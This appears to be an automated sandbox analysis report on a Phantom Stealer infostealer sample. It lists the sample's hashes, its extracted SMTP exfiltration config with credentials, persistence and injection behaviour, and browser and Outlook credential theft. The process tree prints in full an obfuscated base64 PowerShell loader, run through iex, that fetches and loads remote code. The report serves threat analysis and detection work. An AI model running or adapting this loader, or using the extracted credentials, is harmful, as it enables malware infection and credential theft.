phantom_stealer | 2232eb680881fa7bc2e9402cfedbbf416ff065426cb5309bb0c9ce8224632cd2

Analysis

max time kernel
150s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/05/2026, 15:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
10784_30601_10_PDF.exe
Size 32KB
Sample260528-swx8caet61
SHA256 2232eb680881fa7bc2e9402cfedbbf416ff065426cb5309bb0c9ce8224632cd2
MD5 aac0c64bf8186ea8b7fd7eaed7e5fe4c
SHA1 5dc963972199b38e5d7d849d4fa8b8e1a6d8270d
SHA512 89b502f8cd1f81e12691d24a18e048cf434b358d6a0d59eda39612ff71502b4f8986c8c5e7731777bbcd3266202a04416f3508ebb47a557e8a9f186075f730e4
SSDEEP 768:yz57Ngy0RKX/bFXnwwKsuGgReSUaq1LyJQz:8/bNnwfsuGyda
TLSH
T184E2E724A3D5E470C15B237027D6D5E022E2EDD75E370629ACC8F9ABEAF33056B25E44
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence spyware stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
162.254.34.31
Port
587
Username
[email protected]
Password
RlhSRREjpJ4H

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
162.254.34.31
Port
587
Username
[email protected]
Password
RlhSRREjpJ4H
Email to
[email protected]

Mutex

40HVOT8R6K144BU88FRC

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
1
start_delay
0
startup
0

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral1/memory/460-59-0x00000000000B0000-0x000000000017C000-memory.dmp	family_phantomstealer
behavioral1/memory/460-61-0x00000000000B0000-0x000000000016E000-memory.dmp	family_phantomstealer

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
26	2140	powershell.exe
35	2140	powershell.exe
40	2140	powershell.exe
41	2140	powershell.exe
47	636	powershell.exe
53	636	powershell.exe
204	636	powershell.exe
218	636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1696	powershell.exe
2436	powershell.exe
2140	powershell.exe
636	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lmjefdnFgm = "C:\\ProgramData\\khcrdab.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fnAmFbbhlo = "C:\\ProgramData\\khcrdab.bat"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
219	icanhazip.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2140 set thread context of 460	2140	powershell.exe	114
PID 636 set thread context of 5172	636	powershell.exe	172

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3464	chrome.exe
4512	msedge.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
2436	powershell.exe
2436	powershell.exe
2140	powershell.exe
2140	powershell.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
2140	powershell.exe
2140	powershell.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
3132	chrome.exe
3132	chrome.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
460	RegAsm.exe
636	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	460	RegAsm.exe
Token: SeShutdownPrivilege	3132	chrome.exe
Token: SeCreatePagefilePrivilege	3132	chrome.exe
Token: SeShutdownPrivilege	3132	chrome.exe
Token: SeCreatePagefilePrivilege	3132	chrome.exe
Token: SeShutdownPrivilege	3132	chrome.exe
Token: SeCreatePagefilePrivilege	3132	chrome.exe
Token: SeShutdownPrivilege	3132	chrome.exe
Token: SeCreatePagefilePrivilege	3132	chrome.exe
Token: SeDebugPrivilege	5172	RegAsm.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
3132	chrome.exe
3132	chrome.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
6112	firefox.exe
5112	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6112	firefox.exe
460	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 692	3368	10784_30601_10_PDF.exe	90
PID 692 wrote to memory of 2436	692	cmd.exe	92
PID 2436 wrote to memory of 2140	2436	powershell.exe	93
PID 2140 wrote to memory of 4548	2140	powershell.exe	96
PID 4548 wrote to memory of 1088	4548	csc.exe	97
PID 1696 wrote to memory of 636	1696	powershell.exe	111
PID 2140 wrote to memory of 460	2140	powershell.exe	114
PID 2140 wrote to memory of 460	2140	powershell.exe	114
PID 2140 wrote to memory of 460	2140	powershell.exe	114
PID 2140 wrote to memory of 460	2140	powershell.exe	114
PID 2140 wrote to memory of 460	2140	powershell.exe	114
PID 636 wrote to memory of 3784	636	powershell.exe	115
PID 3784 wrote to memory of 472	3784	csc.exe	116
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 3132 wrote to memory of 1576	3132	chrome.exe	119
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 3132 wrote to memory of 3036	3132	chrome.exe	120
PID 3132 wrote to memory of 3464	3132	chrome.exe	121
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 3132 wrote to memory of 4468	3132	chrome.exe	122
PID 3132 wrote to memory of 4532	3132	chrome.exe	123
PID 3132 wrote to memory of 4884	3132	chrome.exe	124
PID 460 wrote to memory of 1576	460	RegAsm.exe	119
PID 460 wrote to memory of 1576	460	RegAsm.exe	119
PID 3132 wrote to memory of 1340	3132	chrome.exe	125
PID 3132 wrote to memory of 4400	3132	chrome.exe	126
PID 3132 wrote to memory of 3056	3132	chrome.exe	128
PID 3132 wrote to memory of 2724	3132	chrome.exe	129
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 460 wrote to memory of 4468	460	RegAsm.exe	122
PID 460 wrote to memory of 4468	460	RegAsm.exe	122
PID 460 wrote to memory of 3464	460	RegAsm.exe	121
PID 460 wrote to memory of 3464	460	RegAsm.exe	121
PID 460 wrote to memory of 4884	460	RegAsm.exe	124
PID 460 wrote to memory of 4884	460	RegAsm.exe	124
PID 460 wrote to memory of 3036	460	RegAsm.exe	120
PID 460 wrote to memory of 3036	460	RegAsm.exe	120
PID 460 wrote to memory of 1340	460	RegAsm.exe	125
PID 460 wrote to memory of 1340	460	RegAsm.exe	125
PID 460 wrote to memory of 1576	460	RegAsm.exe	119
PID 460 wrote to memory of 1576	460	RegAsm.exe	119
PID 460 wrote to memory of 4400	460	RegAsm.exe	126
PID 460 wrote to memory of 4400	460	RegAsm.exe	126
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 460 wrote to memory of 3132	460	RegAsm.exe	118
PID 460 wrote to memory of 2724	460	RegAsm.exe	129
PID 460 wrote to memory of 2724	460	RegAsm.exe	129
PID 3132 wrote to memory of 5068	3132	chrome.exe	130
PID 460 wrote to memory of 4468	460	RegAsm.exe	122
PID 460 wrote to memory of 4468	460	RegAsm.exe	122
PID 460 wrote to memory of 3464	460	RegAsm.exe	121
PID 460 wrote to memory of 3464	460	RegAsm.exe	121
PID 460 wrote to memory of 4884	460	RegAsm.exe	124
PID 460 wrote to memory of 4884	460	RegAsm.exe	124
PID 460 wrote to memory of 3056	460	RegAsm.exe	128
PID 460 wrote to memory of 3056	460	RegAsm.exe	128
PID 460 wrote to memory of 3036	460	RegAsm.exe	120
PID 460 wrote to memory of 3036	460	RegAsm.exe	120
PID 460 wrote to memory of 1340	460	RegAsm.exe	125
PID 460 wrote to memory of 1340	460	RegAsm.exe	125
PID 460 wrote to memory of 1576	460	RegAsm.exe	119
PID 460 wrote to memory of 1576	460	RegAsm.exe	119
PID 460 wrote to memory of 4400	460	RegAsm.exe	126

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\10784_30601_10_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\10784_30601_10_PDF.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\262cce1b-d0f0-4fcb-8903-2dac799f2886.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA=='';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\262cce1b-d0f0-4fcb-8903-2dac799f2886.bat' -Destination 'C:\ProgramData\khcrdab.bat' -Force -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdfgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, 'f#', 'r')));iex $oWfdfjfdsuxd"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2140
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fbenc3mf\fbenc3mf.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4548
